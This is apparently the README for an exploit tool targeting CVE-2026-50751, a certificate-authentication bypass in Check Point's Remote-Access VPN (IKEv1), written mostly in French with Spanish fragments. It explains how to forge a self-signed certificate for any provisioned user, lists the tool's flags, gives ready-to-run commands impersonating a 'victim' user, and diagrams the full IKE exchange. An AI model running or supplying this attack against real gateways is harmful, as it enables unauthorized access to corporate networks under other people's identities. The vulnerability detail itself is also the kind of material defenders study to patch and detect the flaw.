
Contournement de l'authentification par certificat sur le VPN Remote-Access de Check Point (IKEv1).
Contournement d'authentification par certificat dans le VPN Remote-Access de Check Point (IKEv1).
CVE-2026-50751 est un contournement d'authentification dans le démon iked de Check Point, présent dans les versions R81.10, R82 et R82.10 sans le hotfix sk185033. La faille permet de s'authentifier en tant que n'importe quel utilisateur de Remote Access provisionné sans clé privée, sans mot de passe et sans certificat valide.
L'iked vulnérable lit un flag depuis le Vendor ID VPNExtFeatures (bit 0x4) et, s'il est activé, ignore verify_peer_auth / verifyMessagePhase1. Par conséquent :
La signature du certificat n'est pas vérifiée (preuve de possession).
La chaîne de confiance n'est pas vérifiée.
Seul le fait que le subject DN corresponde à un utilisateur provisionné est contrôlé.
Il suffit de forger un certificat auto-signé dont le CN= correspond à l'utilisateur cible et de l'envoyer avec une signature invalide. Si la passerelle accepte la phase 1, nous sommes authentifiés en tant que cet utilisateur (la SA ISAKMP est enregistrée sous son DN).
Fonctionne sur IKE (UDP 500/4500) et sur Visitor Mode (TCPT, TCP 443).
Syntaxe
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| Flag | Description | Défaut |
|---|---|---|
-host | IP ou hostname de la passerelle (obligatoire) | — |
-user | Username RA à usurper (obligatoire) | — |
-port | Port : 500, 4500 (UDP) ou 443 (TCPT) | 500 |
-org | Organisation (O=) de l'ICA. Si omis, dérivé du cert TLS | — |
-ou | Unité organisationnelle (OU=) de l'utilisateur | users |
-timeout | Timeout par opération | 6s |
-retries | Réessais de msg1 | 1 |
-v | Sortie verbeuse | false |
sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -user victim -org "ACME Corp" -ou vpn -v
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -v
Atacante Gateway (iked vulnerable)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lee flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceptado ────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autofirmado │
│ + firma aleatoria ───────────────────▶│
│ │ Omite verificación
│ │ de firma
│ │ Resuelve DN → usuario
│◀── msg6 (cifrado): SA establecida ───────────────────────│
│ │
│ Descifra msg6 con SKEYID_e → prueba de autenticación │